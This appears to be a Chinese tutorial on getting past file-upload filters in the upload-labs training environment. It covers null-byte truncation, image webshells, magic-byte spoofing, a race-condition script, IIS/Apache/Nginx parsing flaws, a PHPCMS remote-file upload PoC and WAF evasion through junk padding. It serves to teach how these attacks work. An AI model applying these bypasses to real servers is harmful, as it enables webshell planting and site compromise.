1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = str_ireplace($deny_ext,"" , $file_name); $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; }
我们上传文件叫phpinfo.php改成phpinfo.pphphp
看一下上传的目标文件
访问文件
00截断 参考https://blog.csdn.net/weixin_44840696/article/details/90581104
参考https://blog.csdn.net/qq_26090065/article/details/81458937
00截断原理 00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾
0x00 是 ascii 为 0 的字符。而ascii中0作为特殊字符保留,表示字符串结束
00截断原理,为什么能做到00截断?
%00是url编码后的,实际上是构造ASCII码值的0,0x00是字符串的结束标识符,了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方法,实际上就是表示ASCII码值为0, 0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
00截断要求
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态
GET请求 upload-labs第十二关 看一下源代码
第八行有一个$_GET[‘save_path’]获取我们的参数,后面”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext;,就是我们添加文件的时间和文件后缀
第十行可以看见,直接用的第八行的路径进行保存
我们就可以用%00截断叫后面的”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext给去除掉
比如
我们上传的是a.php%00.png======就变成了a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES['upload_file' ]['name' ],strrpos($_FILES['upload_file' ]['name' ],"." )+1 ); if (in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = $_GET['save_path' ]."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_ext; if (move_uploaded_file($temp_file,$img_path)){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
上传一个文件phpinfo.png内容
修改文件的内容路径后面加上a.php%00
结果
POST请求 upload-labs第十三关 %00在get请求里面会自动解码
在post里面应为我的burp url的解码有毛病我们就可以用修改十六进制
看一下代码和第十二关一样就是一个是get请求一个是post请求
第八行有一个$_POST[‘save_path’]获取我们的参数,后面”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext;,就是我们添加文件的时间和文件后缀
第十行可以看见,直接用的第八行的路径进行保存
我们就可以用%00截断叫后面的”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext给去除掉
比如
我们上传的是a.php%00.png======就变成了a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES['upload_file' ]['name' ],strrpos($_FILES['upload_file' ]['name' ],"." )+1 ); if (in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = $_POST['save_path' ]."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_ext; if (move_uploaded_file($temp_file,$img_path)){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
上传一个文件phpinfo.png内容
修改文件的内容路径后面加上a.php=,我加这个=是为了在修改十六进制好找
结果
图片马 将照片和webshell合成绕过 他会吧一个webshell的木马复制到照片里面,但是这个有一个问题就是当服务器解析照片的时候可能会受到照片的源码的内容应为webshell的运行
用copy命令
我们准备一个文件名叫phpinfo.php
内容
还有一个普通的照片名字zm9kpy.jpg
命令copy /a zm9kpy.jpg + /b phpinfo.php = a.jpg
/a 表示以ASCII方式打
/b 表示以二进制方式打开
照片顺序不要搞错了不然就叫webshell代码插到最前面了
可以看见生成出来一个a.jpg文件
编辑出来的照片有的可能查看不了
教程上是这样写的不容易看懂
照片还是可以打开的
查看照片文件的源代码
可以看见已经插入上面了
文件幻术头绕过 同照片的文件内容前几个自己都是相同的下面的16进制是在一个博客上https://blog.csdn.net/Kevinhanser/article/details/81613003 找的
1 2 3 jpg=FF D8 FF E0 00 10 4A 46 49 46 gif=47 49 46 38 39 61 png = 89 50 4E 47
我用burp抓一个jpg的数据包看一下16进行的头
可以看见是相通的
修改数据包的内容绕过 有的过滤会检查文件内容每一个照片里面都有一个前面这个字段来代表文件类型 我们抓一个普通的照片上传文件的数据包
可以看见前面有一个PNG的字符串
upload-labs第十四关和第十五关 他俩都可以用下面这个方法绕过
上发一个phpinfo.php文件里面内容
1 2 3 <?php echo phpinfo();?>
上发的时候用burp抓包如果叫文件名,和类型给修改成png格式的发现还是发不上去
然后我们发一个png文件叫里面的文件给文件内容全部给改成webshell只留下照片的内容头的部分
上传一个普通照片文件
用burp进行抓包
然后我们叫里面改成webshell只留下照片的内容头的部分
放包就上发上去了
但是是执行不了的应为他是png文件,可以通过其他的漏洞进行执行比如解析漏洞
二次渲染
什么是二次渲染就是我们上传一个头像然后目标网站会同意叫照片变多大修改照片的大小里面的文件内容也会修改,还有就是可以设置图像的大小也是二次渲染
upload-labs第十四关 我们用burp一直发包
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import threadingimport requestsheaders = { "User-Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , } global Recorddef Searchresults (html ): Searchresults_document = open("url.html" , 'a' ) Searchresults_document.write(html) Searchresults_document.close() def thread (url,headers ): while 1 : try : html=requests.get(url,headers=headers) if html.status_code==200 : print("\033[0;33;40m竞争成功:\033[0m" +url) Searchresults(html.text) break else : print("\033[0;31;40m竞争失败:\033[0m" +url) except Exception as bc: print("出差了:" + str(bc)) if __name__=='__main__' : print(""" ------------------------------- - 竞争的结果会保存成url.html - - ***** 简单脚本 - ------------------------------- """ ) url=input("请输入竞争url:" ) speed=int(input("请输入多少线程:" )) t_list = [] for i in range(speed): t = threading.Thread(target=thread,args=(url,headers)) t_list.append(t) t.start() for t in t_list: t.join()
目录命名/.绕过 以文件夹名的突破方式绕过后缀的限制同时在最终代码执行结果会保存为php文件
upload-labs第二十关 看一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST['save_name' ]; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if (!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
第8行有一个pathinfo函数
pathinfo()函数获得一个文件的路径、名称,或者是扩展名等
返回的数组元素如下:
dirname: 目录路径
basename: 文件名
extension: 文件后缀名
filename: 不包含后缀的文件名
语法:pathinfo(path,options)
参数
描述
path
必需。规定要检查的路径。
options
可选。规定要返回的数组元素。默认是 all。 可能的值: PATHINFO_DIRNAME :只返回 dirname(目录路径) PATHINFO_BASENAME :只返回 basename(文件名) PATHINFO_EXTENSION :只返回 extension(文件后缀名) PATHINFO_FILENAME : 只返回 filename(不包含后缀的文件名)
演示无第二个参数
1 2 3 4 5 <?php $file_name = "/testweb/test.txt" ; $file_ext = pathinfo($file_name); print_r($file_ext); ?>
结果
1 2 3 4 5 6 7 Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt [filename] => test )
演示有第二个参数
1 2 3 4 5 <?php $file_name = "/testweb/test.txt" ; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); print_r($file_ext); ?>
结果
比我们上传的是xxxxx.php/.
到目标就变成了xxxxx.php
解析漏洞 IIS6.0解析漏洞
环境win2003 iis6.0
IIS 6.0解析利用方法有两种
目录解析 假如你有一个*.asp的目录IIS6.0解析漏洞会吧*.asp的目录里面的文件全部当做asp来解析
演示
我在网站的目录创建一个a.asp的目录里面有一个abc.png的文件
abc.png的文件内容
1 <%response.write("Hello World!")%>
结果
文件解析 a.asp;.png在服务器那边;后面的内容就会被截断
演示
在网站跟目录创建一个a.asp;.png文件
访问
apache解析漏洞 低版本apache解析漏洞 这个原理就是apache在解析从右到左查看文件名,如果不认识,继续向左识别,知道认识这个文件类型
比如 abc.php.aaaa.qqqq
apache在解析不认识.qqqq,在向前解析.aaaa不认识在向前解析,.php这个认识,最终解析成php
演示上传一个a.php.qqq文件
Apache HTTPD 换行解析漏洞分析与复现 漏洞编号CVE-2017-15715
Apache在2.4.0-2.4.29版本中存在一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单
演示靶场环境vulhub进入/httpd/CVE-2017-15715
Nginx解析漏洞 低版本解析漏洞 这个我不知道是漏洞到那个版本
原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,
Nginx 文件名逻辑漏洞(CVE-2013-4547) 其影响版本为: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7,范围较广
漏洞复现文章地址https://vulhub.org/#/environments/nginx/CVE-2013-4547/
进入/vulhub/nginx/CVE-2013-4547,启动靶场环境:docker-compose up -d
[0x20]是空格,[0x00]是\0,这两个字符都不需要编码
1 uploadfiles/1.gif[0x20][0x00].php
然后查看16进制进行修改
漏洞复现 PHPCMSv9.6.0任意文件上传漏洞
我们先在其他服务器上创建一个要上传的文件
搭建好后点击会员注册
抓包
poc
1 siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.0.106/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
src里面是其他服务器上创建一个要上传的文件地址
访问地址
waf绕过
这个文章应该比我写的详细https://www.yuque.com/samxara/swro13/ee9r0h
上传参数名解析:明确哪些东西能修改?
1 2 3 4 5 6 7 8 9 10 -----------------------------79375596321075324404143374640 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.jpg" Content-Type: image/jpeg 上面是真实数据 Content-Disposition: 一般可更改 name: 表单参数值,不能更改 filename :文件名,可以更改 Content-Type:文件MIME,视情况更改
垃圾字符填充绕过
成功了
Content-Disposition与name之间的垃圾数据加上分号可绕过安全狗
name与filename之间的垃圾数据也可绕过
垃圾字符填充的原理就是填充的字符长度超过了WAF检测的字符长度,所以能够成功绕过,安全狗的默认检测URL长度为2048字节
环境upload-labs和安全狗
upload-labs的第二关我们修改文件类型就可以绕过,我们添加上安全狗上传就不拦截,我们就可以用超级多多字符绕过这个限制
下面源请求修改了文件类型,有安全狗被拦截了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /upload-labs/Pass-02/index.php HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------4024755048984814162338962553 Content-Length: 361 Origin: http://192.168.0.107 Connection: close Referer: http://192.168.0.107/upload-labs/Pass-02/index.php Upgrade-Insecure-Requests: 1 -----------------------------4024755048984814162338962553 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: image/png <?php phpinfo(); ?> -----------------------------4024755048984814162338962553 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------4024755048984814162338962553--
我们把
代码下面应为太长我就删除了中间的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /upload-labs/Pass-02/index.php HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3440298842996763469523404607 Content-Length: 40543 Origin: http://192.168.0.107 Connection: close Referer: http://192.168.0.107/upload-labs/Pass-06/index.php Upgrade-Insecure-Requests: 1 -----------------------------3440298842996763469523404607 Content-Disposition: form-data;dsadasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdas